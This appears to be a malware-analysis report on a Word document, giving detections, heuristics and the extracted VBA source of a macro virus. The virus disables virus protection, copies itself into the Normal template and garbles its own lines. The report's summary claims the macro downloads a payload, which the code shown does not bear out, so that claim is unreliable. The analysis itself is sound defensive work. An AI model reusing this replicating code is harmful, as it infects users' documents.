MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains a legacy WordBasic AutoClose macro, which is a known indicator of older malicious Word documents. The macro is designed to execute automatically when the document is closed. While the exact payload is obfuscated and truncated, the presence of the AutoClose macro and ClamAV detections strongly suggest malicious intent, likely to download and execute a secondary payload.
Heuristics 4
-
ClamAV: Doc.Trojan.CPCK-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.CPCK-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8049 bytes |
SHA-256: 9b82fe97361678bc328b3313384ccb6f6ec1cb38ae605d6a8547428298905217 |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-6
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
PLM = GGR + AQR
On Error Resume Next
PAJ = SRI + VTB
AA64 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
UIL = QBN + KGN
Options.SaveNormalPrompt = 0
OFG = SSM + VUE
VH70 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
PVF = LCV + OAM
Application.EnableCancelKey = 0
CCR = GBG + IGU
Options.ConfirmConversions = 0
VIG = DDO + JJP
Options.VirusProtection = 0
HNE = EMB + KTF
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
RIG = UNN + JCM
Set DV18 = ActiveDocument.VBProject.VBComponents.Item(1)
PUS = ALU + JOL
EI41 = True
LKH = IFB + FVB
End If
IIK = DKF + NLD
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
UOL = ICR + KQN
Set DV18 = NormalTemplate.VBProject.VBComponents.Item(1)
SAE = BCH + CAL
DE31 = True
OLS = BEO + JHD
End If
PUL = BQI + KKE
If DE31 <> True And EI41 <> True Then GoTo QQ26
HCM = DUC + JGT
If DE31 = True Then DV18.CodeModule.AddFromString ("Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, AA64 - 1))
QGO = FBA + HRG
If EI41 = True Then DV18.CodeModule.AddFromString ("Sub Document_Close()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, VH70 - 1))
FKF = HAK + ETM
With DV18.CodeModule
QUH = LBN + JVC
For x = 2 To (DV18.CodeModule.CountOfLines - 1) Step 2
UNH = DKE + VCA
.replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))
HMU = LIS + SOP
Next x
VHK = JPD + JLR
End With
LJL = FNK + OTI
QQ26:
GGD = LEM + HTK
End Sub
' Processing file: /opt/analyzer/scan_staging/41b61ff1ac0c4658bb88c64d56ba18c4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 10831 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' Ld GGR
' Ld AQR
' Add
' St PLM
' Line #2:
' OnError (Resume Next)
' Line #3:
' Ld SRI
' Ld VTB
' Add
' St PAJ
' Line #4:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St AA64
' Line #5:
' Ld QBN
' Ld KGN
' Add
' St UIL
' Line #6:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #7:
' Ld SSM
' Ld VUE
' Add
' St OFG
' Line #8:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St VH70
' Line #9:
' Ld LCV
' Ld OAM
' Add
' St PVF
' Line #10:
' LitDI2 0x0000
' Ld Application
' MemSt EnableCancelKey
' Line #11:
' Ld GBG
' Ld IGU
' Add
' St CCR
' Line #12:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #13:
' Ld DDO
' Ld JJP
' Add
' St VIG
' Line #14:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #15:
' Ld EMB
' Ld KTF
' Add
' St HNE
' Line #16:
' LitDI2 0x0001
' LitDI2 0x0003
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0003
' ArgsLd LBound 0x0002
' LitStr 0x0003 "Sub"
' Ne
' IfBlock
' Line #17:
' Ld UNN
' Ld JCM
' Add
' St RIG
' Line #18:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set DV18
' Line #19:
' Ld ALU
' Ld JOL
' Add
' St PUS
' Line #20:
' LitVarSpecial (True)
' St EI41
' Line #21:
' Ld IF
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.